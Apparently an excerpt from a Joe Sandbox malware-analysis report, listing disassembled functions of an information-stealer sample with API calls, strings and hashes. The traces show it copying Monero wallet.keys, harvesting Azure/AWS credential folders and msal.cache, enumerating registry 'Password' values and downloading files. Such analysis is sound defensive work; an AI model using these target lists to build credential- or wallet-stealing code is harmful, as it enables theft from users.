Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: d10588ddb9c9fbc7ab38ca8f4c94f31832b7c150b661b40fd43562eada66f261
Instruction ID: 9d945e87acaa920b799b95a1457c010a209bec35c849e14c059b28921f1a5aee
Opcode Fuzzy Hash: d10588ddb9c9fbc7ab38ca8f4c94f31832b7c150b661b40fd43562eada66f261
Instruction Fuzzy Hash: 3B4168B994020867DB58F770DC4BFEE7738BB64700F004554B68A660C1EEB45BC98B92

Function 005E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005E12B4
Part of subcall function 005E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 005E12BB
Part of subcall function 005E12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005E12D7
Part of subcall function 005E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005E12F5
Part of subcall function 005E12A0: RegCloseKey.ADVAPI32(?), ref: 005E12FF

lstrcat.KERNEL32(?,00000000), ref: 005E134F
lstrlen.KERNEL32(?), ref: 005E135C
lstrcat.KERNEL32(?,.keys), ref: 005E1377

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,01649AF8,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 005E1465

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

DeleteFileA.KERNEL32(00000000), ref: 005E14EF

Strings

\Monero\wallet.keys, xrefs: 005E138D
.keys, xrefs: 005E136B
wallet_path, xrefs: 005E1330
SOFTWARE\monero-project\monero-core, xrefs: 005E1335

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 902661084484fee37e1befbedc1edb6df86796ce6d78bb3da2a6f76d8f840d90
Instruction ID: bf489e81c85de91423437765ae4b1578e4ddd14bd373dbfc56a971fd188bfd71
Opcode Fuzzy Hash: 902661084484fee37e1befbedc1edb6df86796ce6d78bb3da2a6f76d8f840d90
Instruction Fuzzy Hash: 425131B195011A57CB19EB60DD96AFD773CBF90300F4041A8B74A62091EE746B8ACA96

Function 005F7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 005F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7603
RtlAllocateHeap.NTDLL(00000000), ref: 005F760A
wsprintfA.USER32 ref: 005F7640

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Strings

\, xrefs: 005F7560
C, xrefs: 005F754C
`, xrefs: 005F764D, 005F7655, 005F761B, 005F7623
:, xrefs: 005F755C

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$`
API String ID: 1544550907-3750816455
Opcode ID: 13bccd3340454e7e440e935899ab6ab1aa829ab839dbb55129f8d8582652bc45
Instruction ID: 3caf61fcd2ac74768085da14d828a8e6e267601e15d0e205b56d734cbb72a867
Opcode Fuzzy Hash: 13bccd3340454e7e440e935899ab6ab1aa829ab839dbb55129f8d8582652bc45
Instruction Fuzzy Hash: 0C4181B1D0424CABDF10DF94DC45BEEBBB8BF58700F104098F609A7280DB78AA44CBA5

Function 005E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005E72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 005E733A
Part of subcall function 005E72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005E73B1
Part of subcall function 005E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005E740D
Part of subcall function 005E72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 005E7452
Part of subcall function 005E72D0: HeapFree.KERNEL32(00000000), ref: 005E7459

lstrcat.KERNEL32(35C7C020,006017FC), ref: 005E7606
lstrcat.KERNEL32(35C7C020,00000000), ref: 005E7648
lstrcat.KERNEL32(35C7C020, : ), ref: 005E765A
lstrcat.KERNEL32(35C7C020,00000000), ref: 005E768F
lstrcat.KERNEL32(35C7C020,00601804), ref: 005E76A0
lstrcat.KERNEL32(35C7C020,00000000), ref: 005E76D3
lstrcat.KERNEL32(35C7C020,00601808), ref: 005E76ED
task.LIBCPMTD ref: 005E76FB

Strings

: , xrefs: 005E764E

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 5e92cf0b9fddc5deee3a6c79dc6fdbac275c600b9e87f747231922cc3f087e1b
Instruction ID: c08452cccc1066ae2d6c8674d3dad0b5b5cf87c3796ebc0e94188b6173e85b14
Opcode Fuzzy Hash: 5e92cf0b9fddc5deee3a6c79dc6fdbac275c600b9e87f747231922cc3f087e1b
Instruction Fuzzy Hash: 03314B7590014AEBCB1CEBA5DC89DFF7B79BF98301B108118F106A7290DB34A947CB52

Function 005F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0164D950,00000000,?,00600E2C,00000000,?,00000000), ref: 005F8130
RtlAllocateHeap.NTDLL(00000000), ref: 005F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 005F8158
__aulldiv.LIBCMT ref: 005F8172
__aulldiv.LIBCMT ref: 005F8180
wsprintfA.USER32 ref: 005F81AC

Strings

%d MB, xrefs: 005F81A3
@, xrefs: 005F814D

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 5f2e9b515db2b3c8c8e610ec6c31b2edc60efc241d885f07e6a3ca0c42664afe
Instruction ID: 1c4b2dc61d0c87b69bfe83c3d09cfa07f0ce312a99defaaa7090d811a3b2cfc0
Opcode Fuzzy Hash: 5f2e9b515db2b3c8c8e610ec6c31b2edc60efc241d885f07e6a3ca0c42664afe
Instruction Fuzzy Hash: 622127B1A44208ABDB14DFD4CC49FBEBBB9FB44B00F104619F705AB280C77869018BA5

Function 005E60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

InternetOpenA.WININET(00600DF7,00000001,00000000,00000000,00000000), ref: 005E610F
StrCmpCA.SHLWAPI(?,0164E390), ref: 005E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 005E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005E61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 005E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 005E6249
InternetCloseHandle.WININET(?), ref: 005E6253
InternetCloseHandle.WININET(00000000), ref: 005E6260

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 774688eb24df5d29c9461cedc35146f5e57d75ead081dca5469a5a6a5237496c
Instruction ID: 5e067d985f188a45ba239230992b9521e37967fdfc40c30e3d2d949912935cb3
Opcode Fuzzy Hash: 774688eb24df5d29c9461cedc35146f5e57d75ead081dca5469a5a6a5237496c
Instruction Fuzzy Hash: D2519FB1900209AFDB28DF51DC49BEE7BB8FF44340F008098A745A71C0DB746A86CF96

Function 005E72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 005E733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005E740D
GetProcessHeap.KERNEL32(00000000,?), ref: 005E7452
HeapFree.KERNEL32(00000000), ref: 005E7459
task.LIBCPMTD ref: 005E7555

Strings

Password, xrefs: 005E7401

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: eba5e731eb6f7880d3beba836865dc861dbecf0ddc822f0985ffd949e7c0587d
Instruction ID: 4f397b90fd393904d491312706cf66be9d226b3f214e19f20a5a709ee5abb9f2
Opcode Fuzzy Hash: eba5e731eb6f7880d3beba836865dc861dbecf0ddc822f0985ffd949e7c0587d
Instruction Fuzzy Hash: 09613FB590415D9BDB28DB51DC45FEABBB8BF48300F0081E9E689A6181DB705FC9CFA1

Function 005EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

